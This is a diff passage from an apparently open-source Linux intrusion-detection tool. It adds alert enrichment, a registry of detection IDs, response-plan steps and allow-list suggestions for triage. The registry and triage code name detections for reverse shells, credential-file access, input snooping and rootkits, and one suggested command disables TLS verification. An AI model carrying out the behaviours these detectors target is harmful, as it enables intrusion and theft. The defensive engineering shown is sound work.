||||||
|
- Create: `tests/sid_drills.py`
|
||||||
|
- Update: `tests/test_sid_coverage.py`
|
||||||
|
- Update: `docs/RULES.md`, `docs/ROADMAP.md`
|
||||||
|
|
||||||
|
- [x] Add one safe offline drill callable for every non-event built-in SID.
|
||||||
|
- [x] Extend `tests.test_sid_coverage` so fixture emissions plus drill emissions
|
||||||
|
equal `enodia_sentinel.sids.all_sids()` exactly.
|
||||||
|
- [x] Document fixture replay and drill coverage in `docs/RULES.md`.
|
||||||
|
- [x] Mark the SID fixture/drill roadmap item complete.
|
||||||
|
|
||||||
|
Run: `python3 -m unittest tests.test_sid_coverage -v` — PASS (4 tests).
|
||||||
|
|
||||||
|
Run: `python3 -m unittest discover -s tests` — PASS (304 tests).
|
||||||
|
|
@ -1,14 +1,14 @@
|
||||||
# SID Drill Coverage Design
|
# SID Drill Coverage Design
|
||||||
|
|
||||||
**Status:** Draft — design agreed in session Q&A, spec not yet user-reviewed.
|
**Status:** Implemented — registry, event fixtures, offline drills, and the
|
||||||
No implementation plan written yet.
|
emission-based coverage gate are in the test suite.
|
||||||
|
|
||||||
**Goal:** Fixture or drill coverage for every built-in SID, enforced by a
|
**Goal:** Fixture or drill coverage for every built-in SID, enforced by a
|
||||||
CI gate that cannot rot: adding a detection without a drill fails the suite.
|
CI gate that cannot rot: adding a detection without a drill fails the suite.
|
||||||
|
|
||||||
## Context
|
## Context
|
||||||
|
|
||||||
Enodia Sentinel has 53 built-in SIDs across six engines:
|
Enodia Sentinel has 52 built-in SIDs across seven engines:
|
||||||
|
|
||||||
| Range | Engine |
|
| Range | Engine |
|
||||||
|---|---|
|
|---|---|
|
||||||
|
|
|
||||||
|
|
@ -683,9 +683,11 @@ def _cmd_triage(cfg: Config) -> int:
|
||||||
if v.suggest:
|
if v.suggest:
|
||||||
suggestions.add(v.suggest)
|
suggestions.add(v.suggest)
|
||||||
if suggestions:
|
if suggestions:
|
||||||
print("\nTo suppress the false positives, add to your config:")
|
print("\nSuggested TOML after review (Sentinel does not edit config):")
|
||||||
for s in sorted(suggestions):
|
for s in sorted(suggestions):
|
||||||
print(f" # {s}")
|
for line in s.splitlines():
|
||||||
|
print(f" {line}")
|
||||||
|
print()
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
|
|
||||||
210
enodia_sentinel/enrich.py
Normal file
210
enodia_sentinel/enrich.py
Normal file
|
|
@ -0,0 +1,210 @@
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""Post-alert enrichment for captured snapshots.
|
||||||
|
|
||||||
|
This module stays cheap: it annotates already-captured process, file, network,
|
||||||
|
and integrity context without running heavyweight package verification or
|
||||||
|
rootcheck sweeps during snapshot capture.
|
||||||
|
"""
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import stat
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Callable
|
||||||
|
|
||||||
|
from .config import Config
|
||||||
|
from .fim import hash_file
|
||||||
|
from .netutil import is_public_ip
|
||||||
|
from .provenance import package_owner
|
||||||
|
from .system import SystemState
|
||||||
|
|
||||||
|
_IP_RE = re.compile(r"(?<![\w.])(?:\d{1,3}\.){3}\d{1,3}(?![\w.])")
|
||||||
|
|
||||||
|
|
||||||
|
def build(
|
||||||
|
report: dict,
|
||||||
|
state: SystemState,
|
||||||
|
cfg: Config,
|
||||||
|
*,
|
||||||
|
lineage: set[int] | None = None,
|
||||||
|
recent_files: list[str] | None = None,
|
||||||
|
owner: Callable[[str], str | None] = package_owner,
|
||||||
|
) -> dict:
|
||||||
|
alerts = report.get("alerts", [])
|
||||||
|
return {
|
||||||
|
"processes": [_process_context(state, proc, cfg, owner)
|
||||||
|
for proc in report.get("processes", [])],
|
||||||
|
"remotes": [_remote_context(ip) for ip in sorted(_remote_ips(alerts))],
|
||||||
|
"files": [_file_context(path, owner) for path in sorted(_paths(alerts))],
|
||||||
|
"recent_writes": sorted(set(recent_files or [])),
|
||||||
|
"lineage": _lineage_context(state, sorted(lineage or set())),
|
||||||
|
"integrity": _integrity_context(cfg),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def format_text(enrichment: dict) -> str:
|
||||||
|
lines: list[str] = []
|
||||||
|
for proc in enrichment.get("processes", []):
|
||||||
|
lines.append(
|
||||||
|
"process pid={pid} comm={comm} package={pkg} sha256={sha}".format(
|
||||||
|
pid=proc.get("pid"),
|
||||||
|
comm=proc.get("comm") or "?",
|
||||||
|
pkg=proc.get("package_owner") or "unowned/unknown",
|
||||||
|
sha=(proc.get("exe_sha256") or "-")[:16],
|
||||||
|
)
|
||||||
|
)
|
||||||
|
chain = " <- ".join(
|
||||||
|
f"{p.get('pid')}:{p.get('comm') or '?'}"
|
||||||
|
for p in proc.get("parent_chain", [])
|
||||||
|
)
|
||||||
|
if chain:
|
||||||
|
lines.append(f" parent chain: {chain}")
|
||||||
|
for remote in enrichment.get("remotes", []):
|
||||||
|
lines.append(f"remote {remote['ip']}: {remote['classification']}")
|
||||||
|
for f in enrichment.get("files", []):
|
||||||
|
mode = f"0{f['mode']:o}" if f.get("mode") is not None else "-"
|
||||||
|
lines.append(
|
||||||
|
f"file {f['path']}: exists={f['exists']} mode={mode} "
|
||||||
|
f"owner={f.get('package_owner') or 'unowned/unknown'}"
|
||||||
|
)
|
||||||
|
integrity = enrichment.get("integrity", {})
|
||||||
|
if integrity:
|
||||||
|
lines.append(
|
||||||
|
"integrity: fim_baseline={fim} pkgdb_anchor={pkg} "
|
||||||
|
"rootcheck={root}".format(
|
||||||
|
fim=integrity.get("fim_baseline", {}).get("status", "unknown"),
|
||||||
|
pkg=integrity.get("pkgdb_anchor", {}).get("status", "unknown"),
|
||||||
|
root="enabled" if integrity.get("rootcheck", {}).get("enabled") else "disabled",
|
||||||
|
)
|
||||||
|
)
|
||||||
|
return "\n".join(lines) if lines else " (no enrichment available)"
|
||||||
|
|
||||||
|
|
||||||
|
def _process_context(
|
||||||
|
state: SystemState,
|
||||||
|
proc: dict,
|
||||||
|
cfg: Config,
|
||||||
|
owner: Callable[[str], str | None],
|
||||||
|
) -> dict:
|
||||||
|
exe = _clean_path(proc.get("exe", ""))
|
||||||
|
return {
|
||||||
|
"pid": proc.get("pid"),
|
||||||
|
"comm": proc.get("comm", ""),
|
||||||
|
"exe": exe,
|
||||||
|
"package_owner": owner(exe) if exe else None,
|
||||||
|
"exe_sha256": hash_file(exe) if exe and os.path.isfile(exe) else None,
|
||||||
|
"parent_chain": _parent_chain(state, proc.get("ppid", 0),
|
||||||
|
cfg.incident_lineage_depth),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _parent_chain(state: SystemState, ppid: int, depth: int) -> list[dict]:
|
||||||
|
chain: list[dict] = []
|
||||||
|
seen: set[int] = set()
|
||||||
|
cur = ppid
|
||||||
|
for _ in range(max(depth, 0)):
|
||||||
|
if not cur or cur in seen:
|
||||||
|
break
|
||||||
|
seen.add(cur)
|
||||||
|
proc = state.process(cur)
|
||||||
|
if proc is None:
|
||||||
|
chain.append({"pid": cur, "comm": "", "ppid": 0})
|
||||||
|
break
|
||||||
|
chain.append({"pid": cur, "comm": proc.comm, "ppid": proc.ppid})
|
||||||
|
cur = proc.ppid
|
||||||
|
return chain
|
||||||
|
|
||||||
|
|
||||||
|
def _lineage_context(state: SystemState, lineage: list[int]) -> list[dict]:
|
||||||
|
out = []
|
||||||
|
for pid in lineage:
|
||||||
|
proc = state.process(pid)
|
||||||
|
out.append({
|
||||||
|
"pid": pid,
|
||||||
|
"comm": proc.comm if proc else "",
|
||||||
|
"present": proc is not None,
|
||||||
|
})
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def _remote_ips(alerts: list[dict]) -> set[str]:
|
||||||
|
out: set[str] = set()
|
||||||
|
for alert in alerts:
|
||||||
|
for ip in _IP_RE.findall(alert.get("detail", "")):
|
||||||
|
out.add(ip)
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
def _remote_context(ip: str) -> dict:
|
||||||
|
try:
|
||||||
|
parsed = ipaddress.ip_address(ip)
|
||||||
|
except ValueError:
|
||||||
|
return {"ip": ip, "classification": "invalid"}
|
||||||
|
if is_public_ip(ip):
|
||||||
|
classification = "public"
|
||||||
|
elif parsed.is_loopback:
|
||||||
|
classification = "loopback"
|
||||||
|
elif parsed.is_private:
|
||||||
|
classification = "private"
|
||||||
|
elif parsed.is_link_local:
|
||||||
|
classification = "link-local"
|
||||||
|
else:
|
||||||
|
classification = "reserved"
|
||||||
|
return {"ip": ip, "classification": classification}
|
||||||
|
|
||||||
|
|
||||||
|
def _paths(alerts: list[dict]) -> set[str]:
|
||||||
|
paths: set[str] = set()
|
||||||
|
for alert in alerts:
|
||||||
|
for text in (alert.get("detail", ""), alert.get("key", "")):
|
||||||
|
for token in re.findall(r"(?<![\w.])/[^\s,\])]+", text):
|
||||||
|
paths.add(_clean_path(token.rstrip(":")))
|
||||||
|
return {p for p in paths if p}
|
||||||
|
|
||||||
|
|
||||||
|
def _file_context(path: str, owner: Callable[[str], str | None]) -> dict:
|
||||||
|
p = Path(path)
|
||||||
|
try:
|
||||||
|
st = p.lstat()
|
||||||
|
except OSError:
|
||||||
|
return {"path": path, "exists": False, "mode": None, "uid": None,
|
||||||
|
"gid": None, "package_owner": None}
|
||||||
|
return {
|
||||||
|
"path": path,
|
||||||
|
"exists": True,
|
||||||
|
"mode": stat.S_IMODE(st.st_mode),
|
||||||
|
"uid": st.st_uid,
|
||||||
|
"gid": st.st_gid,
|
||||||
|
"package_owner": owner(path),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _integrity_context(cfg: Config) -> dict:
|
||||||
|
return {
|
||||||
|
"fim_baseline": _path_status(cfg.fim_baseline),
|
||||||
|
"pkgdb_anchor": _path_status(cfg.log_dir / "pkgdb-anchor.json"),
|
||||||
|
"package_verify": {
|
||||||
|
"enabled": bool(cfg.pkgdb_pkgverify),
|
||||||
|
"sample": cfg.pkgdb_pkgverify_sample,
|
||||||
|
},
|
||||||
|
"rootcheck": {
|
||||||
|
"enabled": bool(cfg.rootcheck_enabled),
|
||||||
|
"interval": cfg.rootcheck_interval,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def _path_status(path: Path) -> dict:
|
||||||
|
try:
|
||||||
|
st = path.stat()
|
||||||
|
except OSError:
|
||||||
|
return {"path": str(path), "status": "missing", "age": None}
|
||||||
|
return {"path": str(path), "status": "present",
|
||||||
|
"age": max(0, int(time.time() - st.st_mtime))}
|
||||||
|
|
||||||
|
|
||||||
|
def _clean_path(path: str) -> str:
|
||||||
|
return path.replace(" (deleted)", "")
|
||||||
|
|
@ -172,6 +172,15 @@ def build_plan(bundle: dict, cfg: Config) -> dict:
|
||||||
reason="Confirm package-owned and FIM-monitored files match expected state.",
|
reason="Confirm package-owned and FIM-monitored files match expected state.",
|
||||||
risk="low",
|
risk="low",
|
||||||
))
|
))
|
||||||
|
if {"fim_pkg_modified", "pkg_signature_mismatch", "pkgdb_tamper"} & sigs:
|
||||||
|
add(ResponseAction(
|
||||||
|
id="",
|
||||||
|
category="verification",
|
||||||
|
title="Verify package-owned files against signed cache packages",
|
||||||
|
command=("enodia-sentinel", "pkgdb-verify"),
|
||||||
|
reason="Check on-disk package files against signed package metadata instead of the mutable local DB.",
|
||||||
|
risk="low",
|
||||||
|
))
|
||||||
if any(s.startswith("rootkit_") or s in {"new_listener", "promiscuous_interface"}
|
if any(s.startswith("rootkit_") or s in {"new_listener", "promiscuous_interface"}
|
||||||
for s in sigs):
|
for s in sigs):
|
||||||
add(ResponseAction(
|
add(ResponseAction(
|
||||||
|
|
@ -182,6 +191,27 @@ def build_plan(bundle: dict, cfg: Config) -> dict:
|
||||||
reason="Confirm cross-view hidden process/module/port findings are gone.",
|
reason="Confirm cross-view hidden process/module/port findings are gone.",
|
||||||
risk="low",
|
risk="low",
|
||||||
))
|
))
|
||||||
|
if {"persistence", "new_suid", "fim_added", "fim_modified", "fim_removed"} & sigs:
|
||||||
|
add(ResponseAction(
|
||||||
|
id="",
|
||||||
|
category="verification",
|
||||||
|
title="Confirm no persistence diff remains",
|
||||||
|
command=("enodia-sentinel", "check", "--json"),
|
||||||
|
reason="Re-run the detector set after containment to confirm persistence-related alerts are gone.",
|
||||||
|
risk="low",
|
||||||
|
))
|
||||||
|
|
||||||
|
watchdog_url = _watchdog_url(cfg)
|
||||||
|
add(ResponseAction(
|
||||||
|
id="",
|
||||||
|
category="verification",
|
||||||
|
title="Confirm heartbeat and dashboard visibility",
|
||||||
|
command=("enodia-sentinel", "watchdog", "--url", watchdog_url,
|
||||||
|
"--token", "<token>", "--insecure-tls"),
|
||||||
|
reason="Run from another host or tailnet peer to prove the sensor heartbeat and HTTPS dashboard are reachable.",
|
||||||
|
risk="low",
|
||||||
|
targets={"url": watchdog_url},
|
||||||
|
))
|
||||||
|
|
||||||
numbered = []
|
numbered = []
|
||||||
for i, action in enumerate(actions, 1):
|
for i, action in enumerate(actions, 1):
|
||||||
|
|
@ -336,3 +366,12 @@ def _is_quarantine_candidate(path: str, sig: str) -> bool:
|
||||||
if path == "/etc/ld.so.preload":
|
if path == "/etc/ld.so.preload":
|
||||||
return False
|
return False
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def _watchdog_url(cfg: Config) -> str:
|
||||||
|
if cfg.dashboard_url:
|
||||||
|
return cfg.dashboard_url.rstrip("/")
|
||||||
|
host = cfg.web_bind or "<dashboard-host>"
|
||||||
|
if ":" in host and not host.startswith("[") and host != "<dashboard-host>":
|
||||||
|
host = f"[{host}]"
|
||||||
|
return f"https://{host}:{cfg.web_port}"
|
||||||
|
|
|
||||||
125
enodia_sentinel/sids.py
Normal file
125
enodia_sentinel/sids.py
Normal file
|
|
@ -0,0 +1,125 @@
|
||||||
|
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||||
|
"""Canonical registry of every built-in SID.
|
||||||
|
|
||||||
|
Aggregates the constants where they are defined; nothing is renumbered or
|
||||||
|
moved. The core poll detectors carry some SIDs inline in the Alert they build,
|
||||||
|
so those rows are tabulated here and cross-checked by tests.
|
||||||
|
"""
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
from . import fim, pkgdb, posture, rootcheck
|
||||||
|
from .detectors import (
|
||||||
|
credential_access,
|
||||||
|
input_snooper,
|
||||||
|
memory_obfuscation,
|
||||||
|
stealth_network,
|
||||||
|
)
|
||||||
|
from .events.rules import DEFAULT_EXEC_RULES
|
||||||
|
from .events.syscall_rules import DEFAULT_SYSCALL_RULES
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass(frozen=True)
|
||||||
|
class SidInfo:
|
||||||
|
sid: int
|
||||||
|
name: str
|
||||||
|
engine: str
|
||||||
|
module: str
|
||||||
|
|
||||||
|
|
||||||
|
def _rule_rows(rules, engine: str, module: str) -> tuple[SidInfo, ...]:
|
||||||
|
return tuple(
|
||||||
|
SidInfo(r.sid, f"{engine}.{r.classtype}", engine, module)
|
||||||
|
for r in rules
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
_DETECTORS = "enodia_sentinel.detectors"
|
||||||
|
|
||||||
|
BUILTIN_SIDS: tuple[SidInfo, ...] = (
|
||||||
|
*_rule_rows(DEFAULT_EXEC_RULES, "exec_rule",
|
||||||
|
"enodia_sentinel.events.rules"),
|
||||||
|
*_rule_rows(DEFAULT_SYSCALL_RULES, "syscall_rule",
|
||||||
|
"enodia_sentinel.events.syscall_rules"),
|
||||||
|
SidInfo(100010, "reverse_shell", "detector", f"{_DETECTORS}.reverse_shell"),
|
||||||
|
SidInfo(100011, "ld_preload", "detector", f"{_DETECTORS}.ld_preload"),
|
||||||
|
SidInfo(100012, "deleted_exe", "detector", f"{_DETECTORS}.deleted_exe"),
|
||||||
|
SidInfo(100013, "new_listener", "detector", f"{_DETECTORS}.new_listener"),
|
||||||
|
SidInfo(100014, "new_suid", "detector", f"{_DETECTORS}.new_suid"),
|
||||||
|
SidInfo(100015, "persistence", "detector", f"{_DETECTORS}.persistence"),
|
||||||
|
SidInfo(100016, "egress", "detector", f"{_DETECTORS}.egress"),
|
||||||
|
SidInfo(input_snooper.SID_INPUT_SNOOPER, "input_snooper", "detector",
|
||||||
|
f"{_DETECTORS}.input_snooper"),
|
||||||
|
SidInfo(credential_access.SID_CREDENTIAL_ACCESS, "credential_access",
|
||||||
|
"detector", f"{_DETECTORS}.credential_access"),
|
||||||
|
SidInfo(stealth_network.SID_STEALTH_NETWORK, "stealth_network",
|
||||||
|
"detector", f"{_DETECTORS}.stealth_network"),
|
||||||
|
SidInfo(memory_obfuscation.SID_MEMORY_OBFUSCATION, "memory_obfuscation",
|
||||||
|
"detector", f"{_DETECTORS}.memory_obfuscation"),
|
||||||
|
SidInfo(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY,
|
||||||
|
"process_hiding_library", "detector",
|
||||||
|
f"{_DETECTORS}.memory_obfuscation"),
|
||||||
|
SidInfo(fim.SID_MODIFIED, "fim_modified", "fim", "enodia_sentinel.fim"),
|
||||||
|
SidInfo(fim.SID_ADDED, "fim_added", "fim", "enodia_sentinel.fim"),
|
||||||
|
SidInfo(fim.SID_REMOVED, "fim_removed", "fim", "enodia_sentinel.fim"),
|
||||||
|
SidInfo(fim.SID_PKG, "pkg_verify_mismatch", "fim", "enodia_sentinel.fim"),
|
||||||
|
SidInfo(pkgdb.SID_PKGDB, "pkgdb_tamper", "pkgdb", "enodia_sentinel.pkgdb"),
|
||||||
|
SidInfo(pkgdb.SID_SIGLEVEL, "pacman_siglevel_disabled", "pkgdb",
|
||||||
|
"enodia_sentinel.pkgdb"),
|
||||||
|
SidInfo(pkgdb.SID_PKGVERIFY, "pkg_signature_mismatch", "pkgdb",
|
||||||
|
"enodia_sentinel.pkgdb"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_PROC, "rootkit_hidden_process", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_MODULE, "rootkit_hidden_module", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_PORT, "rootkit_hidden_port", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_PROMISC, "promiscuous_interface", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_KNOWN_ROOTKIT_MODULE, "rootkit_known_module",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_TAINTED_MODULE, "rootkit_tainted_module",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_KERNEL_TAINTED, "kernel_tainted", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_UDP_PORT, "rootkit_hidden_udp_port",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_RAW_SOCKET, "rootkit_hidden_raw_socket",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_RAW_ICMP_SOCKET, "raw_icmp_socket", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_HIDDEN_PROTOCOL_SOCKET,
|
||||||
|
"rootkit_hidden_protocol_socket", "rootcheck",
|
||||||
|
"enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(rootcheck.SID_PS_HIDDEN_PROCESS, "rootkit_ps_hidden_process",
|
||||||
|
"rootcheck", "enodia_sentinel.rootcheck"),
|
||||||
|
SidInfo(posture.SID_SSH_ROOT_LOGIN, "ssh_root_login", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SSH_PASSWORD_AUTH, "ssh_password_auth", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SSH_EMPTY_PASSWORD, "ssh_empty_password", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SUDO_NOPASSWD, "sudo_nopasswd", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SUDO_NOAUTH, "sudo_no_authenticate", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SUDOERS_WRITABLE, "sudoers_writable", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_PATH_WRITABLE, "path_writable", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SENSITIVE_FILE_PERM, "sensitive_file_perm", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SYSTEMD_UNIT_WRITABLE, "systemd_unit_writable",
|
||||||
|
"posture", "enodia_sentinel.posture"),
|
||||||
|
SidInfo(posture.SID_SYSTEMD_EXEC_UNSAFE, "systemd_exec_unsafe", "posture",
|
||||||
|
"enodia_sentinel.posture"),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def all_sids() -> frozenset[int]:
|
||||||
|
return frozenset(s.sid for s in BUILTIN_SIDS)
|
||||||
|
|
||||||
|
|
||||||
|
def engine_sids(engine: str) -> frozenset[int]:
|
||||||
|
return frozenset(s.sid for s in BUILTIN_SIDS if s.engine == engine)
|
||||||
|
|
@ -173,6 +173,15 @@ def capture(alerts: list[Alert], state: SystemState, cfg: Config) -> Path:
|
||||||
incident_id = incident.record(
|
incident_id = incident.record(
|
||||||
cfg, base.with_suffix(".log").name, alerts, lineage, now.timestamp(), host)
|
cfg, base.with_suffix(".log").name, alerts, lineage, now.timestamp(), host)
|
||||||
|
|
||||||
|
cutoff = int(time.time()) - 3600
|
||||||
|
recent_files = []
|
||||||
|
for root in cfg.watch_persistence:
|
||||||
|
try:
|
||||||
|
if os.path.isfile(root) and os.lstat(root).st_mtime > cutoff:
|
||||||
|
recent_files.append(root)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
report = {
|
report = {
|
||||||
"schema": schemas.ALERT_SNAPSHOT_V1,
|
"schema": schemas.ALERT_SNAPSHOT_V1,
|
||||||
"time": now.isoformat(),
|
"time": now.isoformat(),
|
||||||
|
|
@ -183,18 +192,14 @@ def capture(alerts: list[Alert], state: SystemState, cfg: Config) -> Path:
|
||||||
"processes": [_pid_detail(state, p) for p in pids],
|
"processes": [_pid_detail(state, p) for p in pids],
|
||||||
}
|
}
|
||||||
|
|
||||||
cutoff = int(time.time()) - 3600
|
from . import enrich
|
||||||
recent_files = []
|
report["enrichment"] = enrich.build(
|
||||||
for root in cfg.watch_persistence:
|
report, state, cfg, lineage=lineage, recent_files=recent_files)
|
||||||
try:
|
|
||||||
if os.path.isfile(root) and os.lstat(root).st_mtime > cutoff:
|
|
||||||
recent_files.append(root)
|
|
||||||
except OSError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
ps_out = _run(["ps", "-eo", "pid,ppid,user,etimes,pcpu,pmem,stat,comm",
|
ps_out = _run(["ps", "-eo", "pid,ppid,user,etimes,pcpu,pmem,stat,comm",
|
||||||
"--sort=-pcpu"])
|
"--sort=-pcpu"])
|
||||||
extras = {
|
extras = {
|
||||||
|
"Post-alert enrichment": enrich.format_text(report["enrichment"]),
|
||||||
"Process tree (top by CPU)": "\n".join(ps_out.splitlines()[:40]),
|
"Process tree (top by CPU)": "\n".join(ps_out.splitlines()[:40]),
|
||||||
"Sockets (ss -tanp)": "\n".join(_run(["ss", "-tanp"]).splitlines()[:80]),
|
"Sockets (ss -tanp)": "\n".join(_run(["ss", "-tanp"]).splitlines()[:80]),
|
||||||
"/etc/ld.so.preload": (
|
"/etc/ld.so.preload": (
|
||||||
|
|
|
||||||
|
|
@ -8,6 +8,7 @@ never auto-deletion. ``is_owned`` is injectable for testing.
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
import json
|
||||||
from collections.abc import Callable
|
from collections.abc import Callable
|
||||||
from dataclasses import dataclass
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
|
@ -28,7 +29,7 @@ _ALWAYS_REVIEW = {"reverse_shell", "egress"}
|
||||||
class Verdict:
|
class Verdict:
|
||||||
label: str # LIKELY_FP or REVIEW
|
label: str # LIKELY_FP or REVIEW
|
||||||
reason: str
|
reason: str
|
||||||
suggest: str = "" # optional config line to suppress future copies
|
suggest: str = "" # optional TOML snippet to suppress future copies
|
||||||
|
|
||||||
|
|
||||||
def _exe_for(alert: dict, processes: list[dict]) -> str:
|
def _exe_for(alert: dict, processes: list[dict]) -> str:
|
||||||
|
|
@ -39,6 +40,32 @@ def _exe_for(alert: dict, processes: list[dict]) -> str:
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
|
|
||||||
|
def _comm_from_detail(detail: str) -> str:
|
||||||
|
m = re.search(r"\bcomm=([^\s]+)", detail)
|
||||||
|
return m.group(1) if m else ""
|
||||||
|
|
||||||
|
|
||||||
|
def _alert_context(alert: dict) -> str:
|
||||||
|
sid = alert.get("sid") or "unknown"
|
||||||
|
classtype = alert.get("classtype") or "unknown"
|
||||||
|
return f"sid={sid} classtype={classtype}"
|
||||||
|
|
||||||
|
|
||||||
|
def _toml_string_array(name: str, values) -> str:
|
||||||
|
items = ", ".join(json.dumps(v) for v in sorted(set(values)) if v)
|
||||||
|
return f"{name} = [{items}]"
|
||||||
|
|
||||||
|
|
||||||
|
def _allow_comm_suggestion(alert: dict, cfg: Config, key: str, comm: str,
|
||||||
|
why: str) -> str:
|
||||||
|
current = getattr(cfg, key)
|
||||||
|
return "\n".join((
|
||||||
|
f"# Triage suggestion for {_alert_context(alert)}.",
|
||||||
|
f"# Add only after verifying this {comm!r} activity is expected: {why}.",
|
||||||
|
_toml_string_array(key, set(current) | {comm}),
|
||||||
|
))
|
||||||
|
|
||||||
|
|
||||||
def triage_alert(alert: dict, processes: list[dict], cfg: Config,
|
def triage_alert(alert: dict, processes: list[dict], cfg: Config,
|
||||||
is_owned: Callable[[str], bool] = is_package_owned) -> Verdict:
|
is_owned: Callable[[str], bool] = is_package_owned) -> Verdict:
|
||||||
sig = alert.get("signature", "")
|
sig = alert.get("signature", "")
|
||||||
|
|
@ -73,11 +100,15 @@ def triage_alert(alert: dict, processes: list[dict], cfg: Config,
|
||||||
if comm in cfg.listener_allow_comms:
|
if comm in cfg.listener_allow_comms:
|
||||||
return Verdict(LIKELY_FP, f"comm '{comm}' is allow-listed")
|
return Verdict(LIKELY_FP, f"comm '{comm}' is allow-listed")
|
||||||
if exe and is_owned(exe):
|
if exe and is_owned(exe):
|
||||||
owner = comm
|
|
||||||
return Verdict(LIKELY_FP,
|
return Verdict(LIKELY_FP,
|
||||||
f"listener binary is package-owned ({comm})",
|
f"listener binary is package-owned ({comm})",
|
||||||
suggest=f'listener_allow_comms += "{comm}"')
|
suggest=_allow_comm_suggestion(
|
||||||
return Verdict(REVIEW, f"unrecognized listener {addr} ({comm})")
|
alert, cfg, "listener_allow_comms", comm,
|
||||||
|
"package-owned listener"))
|
||||||
|
return Verdict(REVIEW, f"unrecognized listener {addr} ({comm})",
|
||||||
|
suggest=_allow_comm_suggestion(
|
||||||
|
alert, cfg, "listener_allow_comms", comm,
|
||||||
|
"known service listener"))
|
||||||
|
|
||||||
if sig == "new_suid":
|
if sig == "new_suid":
|
||||||
path = detail.rsplit(": ", 1)[-1]
|
path = detail.rsplit(": ", 1)[-1]
|
||||||
|
|
@ -85,6 +116,42 @@ def triage_alert(alert: dict, processes: list[dict], cfg: Config,
|
||||||
return Verdict(LIKELY_FP, "SUID binary is package-owned")
|
return Verdict(LIKELY_FP, "SUID binary is package-owned")
|
||||||
return Verdict(REVIEW, f"unowned SUID binary: {path}")
|
return Verdict(REVIEW, f"unowned SUID binary: {path}")
|
||||||
|
|
||||||
|
if sig == "input_snooper":
|
||||||
|
comm = _comm_from_detail(detail)
|
||||||
|
if comm:
|
||||||
|
return Verdict(REVIEW, "input device access — verify this is local input stack",
|
||||||
|
suggest=_allow_comm_suggestion(
|
||||||
|
alert, cfg, "input_snooper_allow_comms", comm,
|
||||||
|
"expected input-device reader"))
|
||||||
|
return Verdict(REVIEW, "input device access — verify this is local input stack")
|
||||||
|
|
||||||
|
if sig == "credential_access":
|
||||||
|
comm = _comm_from_detail(detail)
|
||||||
|
if comm:
|
||||||
|
return Verdict(REVIEW, "credential file access — verify the process role",
|
||||||
|
suggest=_allow_comm_suggestion(
|
||||||
|
alert, cfg, "credential_access_allow_comms", comm,
|
||||||
|
"expected credential-store reader"))
|
||||||
|
return Verdict(REVIEW, "credential file access — verify the process role")
|
||||||
|
|
||||||
|
if sig == "stealth_network":
|
||||||
|
comm = _comm_from_detail(detail)
|
||||||
|
if comm and comm != "?":
|
||||||
|
return Verdict(REVIEW, "unusual socket family — verify the protocol use",
|
||||||
|
suggest=_allow_comm_suggestion(
|
||||||
|
alert, cfg, "stealth_network_allow_comms", comm,
|
||||||
|
"expected raw/special-protocol socket owner"))
|
||||||
|
return Verdict(REVIEW, "unusual socket family — verify the protocol use")
|
||||||
|
|
||||||
|
if sig == "memory_obfuscation":
|
